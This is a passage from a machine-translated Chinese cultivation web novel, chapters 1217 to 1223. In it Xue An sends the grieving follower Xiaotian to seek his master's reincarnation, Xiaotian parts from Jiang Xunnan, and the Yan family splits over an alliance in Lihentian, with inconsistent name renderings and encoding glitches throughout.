    Xue An shook his head gently at her, motioned her not to come, then lowered his head and watched quietly.


    At this time, Xiaotian leaned down and let out a low growl like a beast.


    That was howling he was crying.


    Xue An did not stop either, only a trace of compassion appeared in his eyes.


    It wasn''t until a long time that he said lightly: "Then? What are you going to do?"


    Hearing Xue An��s questioning, the cry of howling sky gradually stopped, then slowly raised his head and looked at Xue An seriouslyMr. Xue, you avenge my master. Engrave your heart and soul, and let me report again in the next life! "


    After that, Roaring kowtows heavily, banging his head three times.


    Then he closed his eyes and decided to judge himself.


    Actually, he had this plan when he just woke up, but Xue An was meditating at the time to heal his injuries and he hadn''t woke up yet.


    In order to express his gratitude and protect Xue An, he has waited until now.


    Now I finally see Xue An, he feels that everything is over, he can finally be free, and go to accompany his master.


    His actions naturally caused Zuimeng and Yu Ren to become angry, and they all wanted to stop them.


    But Xue An didn''t move at all. He didn''t even speak when Roaring down on his knees, just watched coldly.


    It wasn''t until Xiaotian closed his eyes and decided to dictate himself, he sneered and said: "I think Senior Erlang was born to be a god, how famous, why are the people under him such a coward?"


    Hearing these words, Shuotian shuddered with his eyes closed, but there was no rebuttal, because at this moment, he was full of death will.


    Besides...Mr. Xue is right, I am indeed a coward!


    Roaring, thinking sadly, he is about to ignite the soul. .


    But at this moment, I only heard Xue An coldly said: "Do you really think that... death can show your loyalty? And since you want to die so, then go to die! It''s just a pity Senior Erlang, even The last glimmer of hope was ruined by his most respected subordinates!"


    After that, Xue An turned around and left.

 Chapter 1218： The heavens are like the sea

    Roaring, who had closed his eyes and decided to die, suddenly opened his eyes and looked at Xue An who was about to leave in disbelief. He trembled and shouted: "Mr. Xue, you...what did you say?"


    Xue An stopped, turned around and looked at Shuotian coldly, "Didn''t you hear clearly? Then I''ll say it again, even the last glimmer of hope was buried by you. Do you really think that your suicide and death is loyal?" "


    These words made Xiaotian''s eyes widen instantly, and then looked at Xue An with shock on his face, and there was a gurgling noise in his throat.


    It wasn''t until after a full breath that Shoutian came to his senses, and then knelt and crawled for a few steps. He wept with joy and repeatedly kowtowed at Xue An, shouting with excitement: "Xue...Mr. Xue scolded, you really have Is there any way to save my master?"


    Not only him, even Zui Meng and Yu Ren looked at Xue An hopefully.


    But Xue An shook his head at this time, "Senior Erlang has been completely destroyed, even if I restore all the cultivation base, it is impossible to bring him back to life!"


    These words were like a basin of cold water, poured directly on the snarling head full of ecstasy, making him instantly stunned.


    "But... But didn''t you just say... My master has the last hope?"


    Xue An did not answer the words of the sky directly, but raised his sword eyebrows, and said coldly: "Let me ask you a word, are you willing to give everything for your master?"


    Xiaotian''s complexion instantly became awe-inspiring, and then he nodded solemnly, "Yaotian is willing!"


    "You have to think clearly, everything I say is not your life, but the rest of your life, all the time! And all your efforts, in the end, may not get any return at all, and It ended up in vain!"


    Xiaotian did not hesitate at all, "Mr. Xue, as long as I can save my master, I am willing to pay no matter what the price is, no matter how small the hope is, I am willing to work hard!"


    Xue An looked at the glowing roar on his face and nodded lightly, "Very well! In that case, then I will tell you, what is this last glimmer of hope!"


    Speaking of this, Xue settled for a while, raised his head and looked at the sky that had become empty, his eyes became a little complicated.


    "Senior Erlang has indeed fallen. This is a fact that cannot be changed! If it is a normal situation, he will completely dissipate between the world and the earth, and there will be no chance of recovery! But in the end, I protected his last bit of flower with my own spirit. Light, sent it into reincarnation! This is what I mean by returning to heaven and earth and recreating a golden body!"


    Speaking of this, Xue An looked down at Xiaotian who had fallen into a sluggish state, and said indifferently: "Now he is likely to have been reborn in a certain corner of the heavens, and because of my spiritual protection, he finally A trace of opportunity is still there, not completely cut off! And all you have to do is to find him in the heavens!"


    As soon as the voice fell, Xiaotian took a deep breath, and once again bowed to Xue Ansan with a solemn face.


    "My lord, your kindness is unforgettable for me. I will swear here that I will repay you in the future!"


    After ����, he raised his head and said solemnly: "I am willing to find the master''s reincarnation!"


    Xue looked at him quietly, and then whispered: "Have you figured it out clearly? You know that the heavens are like the sea, and the world is boundless! It''s not easy to find someone in it? This may take your life time. And in the end it is very likely to return without success!"


    "My lord, please don''t say it!" Xiaotian chuckled and shook his head, and then said hopefully: "As long as there is the last ray of hope, no matter how slim, I am willing to look for it! As for the final result..., I I recognize it!"


    This statement made Xue An also startled slightly, and then burst into laughter.


    "Okay! As expected of Senior Jiro''s men, these words alone are enough to prove that you are a true man!"


    After that, Xue An waved his hand, and a divine mind was directly engraved between Xiaotian''s eyebrows, and then said lightly: "In this divine mind, there is the last remaining glorious aura of Senior Erlang, which can be regarded as Let me help you a little!"


    The sky shook all over, and then solemnly arched his hands, "Thank you, sir!"


    I''m going to knock again.


    Xue An smiled slightly and avoided the worship. Then, when he raised his hand, a soft and huge force lifted the sky from the ground, "Okay, Senior Erlang is also my Chinese god, and I help you also count as helping me. You don��t have to be so polite!"


    At this time, Xiaotian no longer had the slightest look of depression before, but could not wait to say: "My lord, since this matter is over, then I will leave first! After all, even you have said that it is not easy for the heavens to find people. I must hurry up and find my master as soon as possible, otherwise it will be delayed!"


    said, he was about to turn around and leave.


    Xue An was a little bit dumbfounded when he saw this, and couldn''t help but shout: "Hold on!"


    Roaring sky stopped, turned around and looked at Xue An with a puzzled face, "Is there anything else, Sir?"


    Xue An''s expression is a bit weird, "Just leave?"


    "Huh? Otherwise?" Xiaotian still looked blank, and didn''t know what it meant.


    Xue An sighed, and said helplessly: "Should I call you scumbag? Or should I call you stupid? Have you forgotten the one you met before in Edge City... Jin Is the dog princess Jiang looking south?"


    Hearing this name, the whole body shook, and then he remembered the incident, and then a look of embarrassment appeared on his face.


    "This...I really forgot about her!"


    Xue An looked up and down snarled, and then smiled narrowly, "Although a big man should be in all directions, he should not be lacking in his children''s personal relationships. After all... you are sleeping with others!"


    Boom!


    These remarks were like a bomb, and the sky exploded at a loss, his face was instantly red to the base of his neck, and then he whispered: "Big...sir, I...I don''t have this idea!"


    "Is there any, you can tell them personally when you meet me!" Xue An said with a smile.


    After that, Xue An raised his hand and took the Fu Bao Xiaolou from the sea of ??knowledge.


    After ���� was promoted to the half-step Daluo, Xue An''s sea of ??consciousness also expanded many times, and his divine mind was condensed, it has become a space of its own, you can put down some important items.


    While facing the two and a half steps of the King of God, when he was shaking the edict of the Immortal King, Xue An was worried that Yan''er and the others would be harmed, so he simply sealed the Fubao Xiaolou and put it into his own sea of ??knowledge for proper protection stand up.


    Now that the matter is over, it is natural to let Yan''er and the others come out.


    But when Fu Bao Xiaolou appeared on the court, Xue An''s face suddenly showed a strange look. .


    seems to be embarrassing, but also anxious.


    Then I saw Xue An take a deep breath, waved his hand, and a divine thought completely separated the three people of Shuo Tian and Zui Meng Yu Blade.

 Chapter 1219： Make a promise, a hero

    The three of them were taken aback, and none of them understood what Xue An was going to do?


    "Hey, what do you mean, my lord? Why do you use divine mind to isolate us?" Yu Ren asked in a puzzled way.


    Xiaotian was even more bewildered, "I don''t know!"


    Only Drunken Dream seemed to understand something after a slight daze, his eyes flowed, he looked at this divine consciousness barrier with interest, and then covered his mouth and laughed.


    At this time, in the barrier of divine consciousness, Xue An silently prayed for a few words, and then, a little uneasy, broke the seal he had personally placed on the upper part of Fu Bao.


    At the moment when the seal was broken, Xue An even stepped back, seeming to be avoiding something.


    But unexpectedly, nothing abnormal happened. Fu Bao Xiaolou still stood there quietly.


    Xue An frowned slightly, and then stepped forward a little worried, to check the situation in this Fubao Xiaolou.


    But at this moment, Fu Bao Xiaolou suddenly shook, and then saw a brilliance flying out of it, rushing towards Xue An.


    Xue An trembled all over, and turned around to run.


    But at this moment, I only heard a cold female voice with infinite anger and said coldly: "Stop me!"


    Xue An stiffened, and then stood in place very obediently and stopped moving.


    At the same time, I saw Guanghua falling directly in front of Xue An, showing a slender and graceful figure. Then, without answering, he raised his hand and grabbed Xue An''s ears, Liu Brows were upturned, and he said viciously. .


    "Xue An, do you know what''s wrong?"


    Although the tone was full of anger, there was a hint of trembling.


    That''s right!


    It was An Yan that flew out of Fu Bao Xiaolou.


    Xue An was tugged by his ears, and grinned and said: "Oh, it hurts, it hurts, Yan''er is about to let go, my ears are about to fall out!"


    At the same time, he was secretly rejoicing in his heart. Fortunately, he used his divine mind to isolate them from the sky in advance, otherwise, if outsiders see him like this, his reputation in this life will be completely destroyed.


    Because there was no outsider to see, Xue An was very rascal. Although An Yan just grabbed his ears softly, Xue An still behaved very exaggeratedly, as if his ears would really fall off in the next second.


    But his bluffing did not elicit any response from An Yan, which made Xue An startled.


    what happened? Why is it so quiet?


    At this moment, Xue An suddenly felt a cold shoulder, and then heard the sound of sobbing.


    Xue An trembled in his heart and turned to look.


    I saw An Yan foolishly looking at the huge wound between Xue An''s chest and abdomen, tears streaming down his face.


    Even when facing the imperial king''s decree, Xue An was calm as water and did not feel much, but when he saw An Yan''s tears, Xue An felt unprecedented panic.


    Especially when I saw An Yan''s shoulders twitching because of silent sobbing, Xue An felt a strong sense of guilt spontaneously.


    This kind of mixed feelings of infinite distress and guilt, even the hard-hearted people have to kneel.


    Because no matter how tough a man is, he can''t resist the tears of a woman.


    Xue An raised his hand distressedly, gently wrapped An Yan''s waist, and whispered: "Okay, Yan''er, don''t cry! Aren''t I okay! Don''t worry!"


    But it''s okay if he doesn''t persuade him. With this persuasion, An Yan cried even more sadly.


    Looking at Pear An Yan with rain, Xue An felt flustered, and simply hugged An Yan.


    This trick, which is usually unprofitable, has no effect at this moment.


    I saw An Yan struggling in Xue An''s arms, and the powder boxing hammered Xue An''s chest like no money.


    While hammering, An Yan still choked and cursed: "You big bastard! Big fool, big wood! I hate you to death, do you know how much I worry about you in the small building? If you make a mistake, What should I do with Miss Missing? Have you ever thought about it, you bastard! Uuuuuuu!"


    Hearing An Yan''s words and feeling the anger in her fist, Xue An was both sad and apologetic.


    "Yan''er, I know it''s wrong! But am I okay? I said that as long as I dare to do something, it means there will be nothing! You can rest assured!"


    "Big bastard, how can I rest assured? That breath scares me, but you face it alone, how can you rest assured me?"


    An Yan is still reluctant.


    Xue An had to stand there with a smiling face.


    I thought An Yan would vent for a long time, but unexpectedly, after only a few breaths, An Yan stopped, and then stood there with his head down and a daze.


    Xue An was taken aback, then hesitated and shouted, "Yan''er?"


    As soon as the voice fell, I saw An Yan plunged into Xue An''s arms, and couldn''t help crying.


    "Husband, I''m so scared! I''m so scared of you! I beg you, don''t let me watch all this in there, okay? I''d rather accompany you to fight instead of watching His own man was injured, but he couldn''t do anything!"


    Xue An gently caressed An Yan''s trembling shoulders, with infinite tenderness in his heart, and whispered: "Okay! I promise you everything, this will never happen in the future, okay?"


    An Yan nodded, then silently stretched out her hand, tremblingly stroking the wound between Xue An''s chest and abdomen, her face was full of distress.


    Xue An smiled disapprovingly, and said carelessly: "Yan''er, my wound is almost healed, and now it''s just that the appearance has not completely recovered! It''s nothing wrong!"


    But before he finished speaking, he couldn''t continue.


    Because An Yan was in tears, he kissed his wound gently, and asked softly: "Does it hurt?"


    Xue An was stunned for a moment, and then smiled lightly, "It was a little painful at the time, but it''s all right now!"


    An Yan''s heart seems to be broken, she has never been so sad.


    Because only those who have lost can understand this feeling.


    She didn''t want to repeat the nightmare of the year, so she tremblingly said: "Husband, we will be fine in the future, no one will leave anyone! Okay?


    Xue looked at An Yan quietly and then stretched out his hand, gently wiped the tears off her face, and smiled gently.


    "it is good!"


    "I want you to promise me!"


    "I promise you!"


    "And forever!"


    "forever and always!"


    Finally, An Yan recovered her calm, but Xue An did not remove the spiritual barrier.


    Because An Yan was quietly leaning against Xue An��s arms, he listened to Xue An��s story with a face full of admiration.


    At this moment, she even looked at Xue An with the look of a girl looking at her own hero.


    And this series of thrilling ups and downs has made An Yan''s heart surging.


    Especially when she heard that Erlang Shenjun was willing to commit suicide in order not to be controlled by Lihentianjun, her eye sockets instantly turned red.


    After listening to it, An Yan said softly: "Husband, can you really find the reincarnation of Senior Jiro?"


    Xue An shook his head and sighed softly, "Actually...I don''t know! Because although this hope does exist, it is too slim, it is almost impossible!"


    An Yan was a little sad, but Xuan even whispered in a low voice: "In fact, this is okay, after all... If you lose this hope, this general, the snarling general, may collapse instantly! Let this hope as a support The crutch that goes down!".


    Xue An chuckled, then rubbed An Yan''s hair, "Yes, I think so too!"


    "It''s just...may be suffering from this girl Jiang!" An Yan sighed lightly.

 Chapter 1220： The heavens are difficult and dangerous, may you cherish it

    When Xiaotian saw Jiang Xunnan, the look on his face instantly became very exciting.


    "Looking for...finding south, I...!"


    But before he finished his words, Jiang Xunnan, who was a little pale, shook his head, then gently swept the temple near his ear, and whispered: "Needless to say, I already know it!"


    Xiaotian looked at this girl guiltily, and suddenly felt an unprecedented panic.


    This is a feeling that I have never experienced even when facing the enemy of life and death.


    And Xue An, An Yan, Drunken Dream and others, at this moment are very interesting to avoid.


    There are only two of them left in the field.


    "When are you... planning to leave?" Jiang Xunnan lowered his head and asked softly.


    "Now that the matter here has been dealt with, I plan to..." Suddenly, Xiaotian didn''t dare to look at Jiang Xunnan, turned his head and gritted his teeth and said: "I plan to leave now! After all, I can leave sooner. Find the reincarnation of the gods earlier!"


    "Oh!" It seemed that he had expected this answer, Jiang Xunnan responded in a low voice, and fell into a long silence.


    Xiaotian felt that his heart became more and more flustered, and there was no place to put his hands and feet because of excessive tension.


    It seemed that Jiang Xunnan, who had seen his helpless embarrassment, had his head down, suddenly chuckled, and then raised his head and glanced at Xiaotian a little madly.


    "Look at you so stupid!"


    Somehow, when he saw Jiang Xunnan''s smile, the tension and fear in Xiaotian''s heart dissipated for the most part, then he touched the back of his head, and followed him with a smirk.


    smiled and smiled, Jiang Xunnan''s eyes were shining, but immediately, she lifted up her head pretending to be relaxed, and said lightly: "This time...will you come back?"


    The sky was grimace, and he nodded solemnly: "If the mission is completed, I will come back!"


    "That''s good!" Jiang Xunnan smiled happily, and then solemnly bowed his hand, "The heavens are difficult and dangerous, I hope you will treasure it!"


    Roaring sky was silent for a moment, then nodded, "The same with you!"


    Jiang Xunnan pretended to smile lightly, "I''m fine, anyway, my home is gone, it''s the same everywhere!"


    After that, Jiang Xunnan turned around slowly and left.


    The whole process is very long, as if waiting for something.


    Unfortunately, until Jiang Xunnan had completely turned around, he didn''t hear any words from Xuantian.


    Jiang Xunnan''s eyes were full of sadness, then he laughed mockingly, and moved forward.


    But at this moment, I heard Xiaotian''s voice trembling because of being too nervous.


    "Xunnan, you...will you wait for me?"


    Jiang Xunnan''s figure froze in an instant, and the tears he had endured for a long time broke the embankment directly under this simple sentence, then turned around and nodded his head.


    "I do!"


    After seeing Jiang Xunnan, who was full of tears but answered extremely seriously, Xiaotian felt that somewhere in the deepest part of his heart was broken directly.


    He rushed forward and stood in front of Jiang Xunnan, looking down at the girl who only reached his chest.


    Jiang Xunnan''s heart beat faster, bit his lip lightly, and looked up at the sky.


    The two looked at each other for a few seconds, then Xiaotian stretched out his hand to slowly hug Jiang Xunnan, leaned over and kissed her lips.


    Jiang searched south for a moment, Xuan even responded to the sky with fiery emotions.


    This kiss is very long, and Jiang Xunnan is almost suffocated.


    But it was also very short, because compared with the long wait afterwards, this moment was joyful, but it was a moment.


    at last.


    Roaring sky slowly got up and gently put Jiang Xunnan into his arms.


    "I''m sorry!" This is the only thing Xiaotian can say now, but it is so pale.


    Jiang Xunnan gently embraced Xiaotian''s waist and whispered: "Don''t say sorry, because I am willing!"


    Xiaotian suddenly felt sad, but soon he took a deep breath, and then reached out and took out a small order from his arms.


    The whole body is made of black gold, with an ancient seal roar on it, and the shape is very delicate.


    Xiaotian handed this small order to Jiang Xunnan.


    "Xunnan, this is the only thing left to me by the master. Now I will give it to you. When someday, the seal on this small order starts to shine, it means that I am coming back soon!"


    Jiang looked for Nanzhen and took this small order seriously.


    And Xiaotian finally hugged Jiang Xunnan hard and said softly, "Take care!"


    After ���� said, he let go, turned around, and strode away.


    Jiang Xunnan stood there, staring blankly at Xiaotian''s back, hoping that he could look back at himself.


    But until the end, Xuantian did not look back.


    Jiang Xunnan firmly held the small order, tears in his eyes rolled again.


    At this moment.


    He only heard a sigh coming from the void, and then I saw that Hu Ying''s figure emerged out of thin air, and then slowly walked to Jiang Xunnan''s side, and said lightly: "Why didn''t you tell him that you are pregnant. What?"


    Jiang Xunnan trembled, lowered his head and looked at Xiao Ling in his hand, and whispered: "What can I say? Use this method to restrain him? Don''t let him find his master? But in this case, he might It will really be better than death!"


    "But is it really fair to you?" Hu Ying was puzzled.


    These few days in Fubao Xiaolou have made Hu Ying and Jiang Xunnan good friends who can talk about anything.


    And because of Xue An��s deliberate arrangements that night, Jiang Xunnan was actually pregnant with Roaring''s child When he first noticed this situation, Jiang Xunnan was very happy.


    Because she has already given her life to Xuantian.


    Behind, when she heard what happened outside, she couldn''t help falling into pain and confusion.


    She likes snarling the sky, and naturally understands what he is carrying at the moment.


    If you are really in the name of a child, you may really restrain him.


    But in that case, even if this roaring sky is alive, it is no different from death.


    That''s why Jiang Xunnan made this decision and concealed the pregnancy from Xuantian.


    Because she didn''t want and didn''t want her man to add too much burden on the way to fulfill her mission.


    After hearing Hu Ying��s question, Jiang Xunnan smiled, ��Ying��er, although you have lived for a thousand years, your mind is no different from a child! How can there be fairness in things like feelings? ?"


    Speaking of this, Jiang Xunnan raised his head and looked in the direction where Xiaotian disappeared, and said softly: "If you like him, you will naturally be willing to give everything for him! If you care about everything and care about fairness, that can only mean that you are at all Don''t like him!"


    Fox Ying was shocked when she heard it, and her eyes also appeared contemplative, but she soon regained consciousness, and then solemnly nodded. .


    "That''s right! Because I feel that way to Brother Xue!"


    Jiang Xunnan laughed blankly, then looked at Xue An and An Yan who were standing in the distance, and said softly in a very low voice: "Ying''er, you know that although my wait is very long, there is at least hope. As for you... I guess it will be difficult!"

 Chapter 1221： Return to the hatred, the land of no owner

    Xiaotian did not return to Li Hentian, but left directly through the special spatial structure of this divine hell.


    Although Xiaotian''s strength has not reached the realm of Da Luo, it is reasonable to say that he cannot traverse the heavens at will.


    But because the cultivation system of the Chinese gods is different from that of ordinary practitioners, Xu Tian is the absolute partner of Erlang Shenjun, so he has mastered many secret techniques.


    , coupled with different physiques, so Xuantian can travel freely among the heavens.


    But this ability also has a big limitation, that is, it can only be used on oneself, and cannot bring relatives.


    This is also the reason why Xiaotian can''t leave Jiang Xunnan with him.


    In this regard, Xue An could only sigh, and then led the crowd to leave the prison of God and come to Lihentian.


    Li Hentian at this moment has already exploded the pot.


    On that day, the sun and the moon reversed, and the vision of the shaking of the heavens and the earth caused all the strong in Li Heng Tian to feel palpitation.


    Because many people can feel that the aura that belongs to Li Hen Tianjun, who once took charge of this world, is rapidly dissipating.


    The original order in this square of heaven and earth has been broken, so the wonder of the sun and the moon reversed.


    And all these signs indicate that the original lord of this world, Li Heng Tianjun, may have fallen.


    Otherwise, he can''t allow such chaos in his world.


    The idea of ??���� made all the powerful people in the Lihengtian horror.


    After all, it is possible to let Li Hen Tianjun such a peerless powerhouse who has lived for tens of thousands of years fall, and the strength of the hands-on person is definitely more powerful.


    is very likely to be an immortal king level or even a supreme master above the immortal king.


    If this is the case, then the whole Li Hentian is probably not enough for others to punch.


    This naturally scares everyone.


    Therefore, at the beginning, the strong from all sides stayed at home honestly, afraid to make the slightest change, and quietly waited for the coming and trial of the strong.


    But after waiting for a few days, I found that nothing has changed.


    Except that Sun and Moon became impermanent because they lost control, the whole Li Hentian was peaceful.


    There is no strong person coming, not even extra changes.


    In this situation, the minds of many powerful people began to become active.


    Could it be that the passing powerhouse killed Li Hen Tianjun, and then left?


    Or is it... the strength of the two sides is similar, so they fought a loss, and finally fell together?


    Otherwise, why haven��t you seen anyone come for so long?


    But no matter what the idea, it means that Li Hentian is temporarily safe.


    Once there is no life threat, the ambitions of the strong from all sides can no longer be suppressed.


    You must know that this Li Hentian is the first day in the God Realm. Whether it is aura or the law of Heaven, I don��t want to be a second person in the God Realm.


    Many people have rumored that the aptitude of the Lihentian Monarch is actually very dull, but it is because he takes control of this blessed land that his cultivation has advanced by leaps and bounds, and he has finally cultivated into a half-step immortal king and becomes a god. A handful of big shots.


    This also shows from the side how abundant the resources of Li Hentian are.


    And now Li Hentian has fallen with great probability, and the whole Li Hentian can be said to have become a land of no owner.


    Such a piece of fat is placed in front of everyone, which naturally makes the strong from all sides salivate.


    Under this uncontrollable ambition, the whole Li Hentian began to fall into chaos.


    And scenes about the alliance. The drama of betrayal, fighting, and conspiracy was staged in turn.


    is in this chaotic situation.


    Everyone in the Yan family also became a little excited.


    You must know that although the Yan family is not powerful in this world, but because of its strong financial resources, it is also quite famous among the strong in Li Hentian.


    At this time, because the situation in Li Hentian is very balanced, although all forces want to put each other to death, they can''t do it for a while.


    Therefore, the Yan family, who is regarded as an external force, became a sweet potato.


    All forces simultaneously threw out an olive branch, hoping to cooperate with the Yan Family Alliance, so as to conquer this huge industry of Li Hentian.


    Yan Yang couldn''t sleep with excitement these few days. He met with one after another from various parties, and watched as the prices offered by various forces increased bit by bit.


    This feeling made him excited.


    Because the Yan family had already deliberately entered Li Hentian, after all, this is where the God Realm is most powerful and prosperous.


    Only by taking roots here, the Yan family can truly become a big family in the gods.


    It��s just that because Li Hen Tianjun was too strong in the past, they touched their tentacles to the edge of the city at most, and they couldn��t save it anymore.


    I didn''t expect that this time because of Yan Meishu''s words, they walked into this Lihengtian, slanted down and got a golden opportunity.


    How can this not make Yan Yang excited.


    Even the entire Yan family has become a little fluttering, thinking that entering Li Hentian and becoming a real rich family is just around the corner.


    In this almost fanatical atmosphere, only Yan Meishu has remained sober.


    This day.


    After another messenger from other forces left, Yan Yang happily called everyone to gather in the lobby to discuss what to do next.


    When he heard Yan Yang''s proud and boastful talk on it, Yan Meishu finally couldn''t help but walked out of the queue and saluted his father.


    "Father!"


    Yan Yang, who was talking about Yan''s beautiful vision in the future, was very dissatisfied with Yan Meishu''s interruption and couldn''t help but mutter.


    "Meishu, what''s wrong?"


    Yan Meishu pondered for a moment, and then solemnly said: "Father, I don''t think this is a good time to contact these forces!"


    Yan Meishu''s words caused a commotion in the Yan family, and Yan Yang frowned slightly, "Oh? Why do you say that?"


    Yan Meishu took a deep breath, "It''s very simple! Because Mr. Xue has not returned! And under the premise that he has not returned, the so-called plots of these various forces are just like the moon in the mirror, and they are all false! ...."


    Yan Meishu''s expression gradually became serious, and he said in a deep voice: "As long as he returns, these forces and the so-called strong are just a joke!"


    Boom!


    Yan Meishu''s remarks caused the audience to be silent and then into an uproar.


    Because what she said was too horrible, not to mention that the current Yan family has been touted and wooed by various forces, everyone has become airy, so after hearing these words of Yan Meishu, I couldn''t help but feel more. Piercing. .


    Even Yan Yang''s complexion changed, and then he leaned back in his chair rather unhappily, and said coldly, "According to you, if this so-called Mr. Xue doesn''t come back a day, we will have to wait here. ?"


    Yan Meishu nodded, "Yes, my father!"

 Chapter 1222： Yan Yang Greed 2 Female Controversy

    "Naughty!" Yan Yang slammed the table and shouted sharply.


    Yan Meishu did not show weakness. Instead, he raised his head and said in a deep voice: "Father, what I said is all from the bottom of my heart. The rise and fall of the Yan family and even the life and death depend on the choices you make at this moment! Don''t be confronted by what you have made. Blinded by petty little profit, in that case, not only will we give up all our efforts, we may also offend Mr. Xue for this!"


    Yan Yang sneered with anger.


    And the audience was even more upset.


    "What''s wrong with the eldest lady? Actually contradict the owner of the house for someone who has never seen him before, and I don''t know if it is true or not?" Someone looked astonished.


    "Yes! Since coming back from the city of the edge, this Miss Yan has been stunned, Mr. Xue opened her mouth, Mr. Xue shut up! But the question is whether this Mr. Xue exists or is it ambiguous!" Someone curled his lips. Words.


    "Who said no! If you listen to the words of the eldest lady, it seems that all the things that happen in Li Heng Tian are the work of this Mr. Xue, but the question is, is that possible?" Some people have even more disdain.


    Amidst the boiling discussion, Yan Meishu did not move at all, but stood there quietly, looking up at his father.


    Yan Yang''s face was ugly at this time.


    Because he didn''t expect that his most important daughter would dare to confront him in public.


    This filled his heart with anger.


    Before he could speak, Yan Mengtao in the crowd had already walked out of the crowd, and first saluted Yan Yang, "My father, please calm down!"


    Then he turned his head and looked at Yan Meishu with a playful look.


    "Tsk, eldest sister, I really admire you! How dare you talk back to your father in public, don��t you be afraid of your father��s chill if you do this?"


    ''S remarks sounded like exhortation, but in fact they added fuel to the fire.


    In fact, Yan Mengtao was already excited when she saw Yan Meishu speaking out, because she knew her elder sister''s character very well.


    As expected.


    Within a few words, Yan Meishu collided with his father.


    When Yan Mengtao saw the anger in Yan Yang''s eyes, she knew that the fire was almost there.


    I just took advantage of this opportunity to extinguish Yan Meishu''s prestige.


    That''s why she couldn''t wait to speak up.


    At this time, facing Yan Mengtao''s question, Yan Meishu''s face was sinking, and she gave her sister a cold look.


    "For the rise and fall of the Yan family, even if my father is sad, I will say it!"


    Yan Mengtao was overjoyed when she heard that, because Yan Meishu was playing with fire when she said that.


    As expected.


    Seeing that Yan Yang''s face was so gloomy that it could drip water, he snorted and stopped looking at her.


    Yan Mengtao became more and more proud, so she said sarcastically, "Yan Meishu, let''s not talk about your disrespect to your father. I only ask you one sentence. Are you so sure that this so-called Mr. Xue will appear?"


    Yan Meishu nodded, "Of course I am sure! Because he said that when he left, the person he was going to deal with was the master of this world, Li Heng Tianjun, and you all saw it, Li Hengtian. Jun is dead! This naturally shows that Mr. Xue has done it! Do you have any questions about this?"


    Many people in the Yan family changed slightly when they heard this.


    Because anyway, Li Hen Tianjun is indeed dead, how can this be explained?


    But Yan Mengtao didn''t care at all, and instead sneered: "Okay! That would be Mr. Xue who showed great power and killed Lihentianjun, but haven''t you thought about it, since the accident has passed now? After more than ten days of circumstances, and he hasn''t appeared for such a long time, will he have died with Li Hentian?"


    This sentence moved everyone in the audience.


    "That''s right! This Lihentian Jun is a half-step Immortal King''s powerhouse, and his strength is extremely tyrannical. Even if it is really this Mr. Xue killed, he will have to pay a heavy price! Maybe it''s all gone!" Someone said. .


    Everyone nodded.


    But Yan Meishu''s complexion also changed, and a look of panic flashed in the depths of his eyes.


    Because of what Yan Mengtao said, it is not impossible.


    At least Yan Meishu had secretly thought about these things more than once.


    But in the end she chose to believe in Xue An''s strength and continued to wait.


    Facing the question from his sister, Yan Meishu didn''t know how to respond for a while, so she could only stand there dumbly.


    "What? Nothing to say?" Yan Mengtao smiled triumphantly.


    Then he turned his head and said to Yan Yang: "My father, my opinion is exactly the opposite of Yan Meishu. I think now is the best time for our Yan family to enter Li Hentian and get the most benefit! Don''t waste it! Up."


    Yan Yang nodded with satisfaction, "Very good! I have exactly this idea! Then, do you think, what should we do next?"


    The words seem to be seeking Yan Mengtao''s opinion.


    This change caused a lot of people to look at each other.


    They all understand that this is Yan Yang''s mind has changed.


    After this incident, Yan Meishu is very likely to fall out of favor, while Yan Mengtao will soar into the sky.


    Now, many people''s eyes on Yan Mengtao became hot.


    Yan Mengtao naturally felt this change, and couldn''t help being radiant, and then said with a smile: "Father, I think the most urgent task is to choose the most sincere one from these forces!"


    "Then who do you think is the most sincere one?"


    Yan Mengtao pondered a little, "I think the messenger who just left is good! Especially if they are still from the forces in the city of hate, they will be more convenient to act!"


    Yan Yang laughed loudly, "Okay! As expected of my Yan Yang''s daughter, she thinks exactly the same as me! That''s the decision. Now I will reply to him as my father and discuss how to form an alliance!"


    "Everything is subject to my father''s decision!" Yan Mengtao smiled like a flower, bowed her hands in a salute, then gave Yan Meishu a demonstrative glance, her heart full of pride.


    Yan Meishu ignored her sister''s provocation. At this moment, her face was as cold as ice, and she suddenly screamed, "Father, this is absolutely not the case!"


    After that, he actually took a few steps forward, and Shengsheng stopped Yan Yang''s path.


    Yan Yang changed his face suddenly, and said angrily: "Yan Meishu, are there any house rules in your eyes? Let me go, otherwise I will let you go around!"


    Faced with such humiliation, Yan Meishu paled, but still remained unmoved, but said again in a deep voice.


    "Father, this must never happen!"


    "Get off!" Yan Yang was furious, and he slapped Yan Meishu directly when he raised his hand.


    This crisp sound made the audience quiet.


    Yan Meishu was blown from the mouth and nose of the fan, and fell to the ground with a dazed expression on her face. .


    Because she grew up, she has never been beaten.


    Yan Yang was taken aback after he hit, but he snorted coldly, "After you go back, go to the back of the cliff to meditate for three years! You don''t need to manage the affairs of the clan!"

 Chapter 1223： The blood tiger

    After that, Yan Yang rushed away.


    Yan Mengtaozhi glanced at Yan Meishu triumphantly, smiled coldly, and then left.


    The rest of the Yan family after a commotion, glanced at Yan Meishu on the ground with complex expressions, and all quietly left.


    In an instant, Yan Meishu was left alone in the lobby.


    She sat on the ground alone, like an abandoned toy, with a dazed expression on her face.


    But soon, the blankness on Yan Meishu''s face gradually faded and replaced by unprecedented perseverance.


    Yan Meishu is very clear that his father is leading the Yan family to the unknown abyss.


    Because once Xue An returns, all the gods in this Lihentian may die. By then, the Yan family will also suffer annihilation due to their greed.


    She wants to stop all of this, even if she pays more, she is willing.


    Thinking of this, Yan Meishu stood up with difficulty, and left firmly.


    This is a magnificent building in Lihen City, and at the same time, it is also the location of the Blood Tiger Tower, the leading power in Lihen City.


    When Yan Yang and his party came here, they were immediately treated as extra-spec VIP guests.


    The host of the Blood Tiger Tower Guan Ziwang, led all the elders in the building to greet him personally.


    After seeing Yan Yang, Guan Ziwang took a few steps forward and said with a smile on his face: "Patriarch Yan, it is an honor for me to be able to visit my Blood Tiger Tower!"


    Seeing that Guan Ziwang came out to greet him in person, Yan Yang couldn''t help but feel flattered.


    You must know that Guan Ziwang is a long-established godly strong man, and he is quite famous in this Lihentian.


    Although he is known as the Yan Family Patriarch, his strength and status are far inferior to him.


    So he was quite moved, "Lord Guan is so polite!"


    Guan looked at himself and laughed, "Please come in!"


    After ���� said, he personally led the way and led everyone into the Blood Tiger Tower.


    When stepping into it, everyone in the Yan family couldn''t help being shocked by the magnificence of this building.


    , especially the ingenious and ingenious arrangement, is even more breathtaking.


    And when I walked into the magnificent hall, I saw three thousand disciples from the Blood Tiger Tower gathered here. As soon as everyone showed up, the three thousand disciples bowed together and shouted in unison.


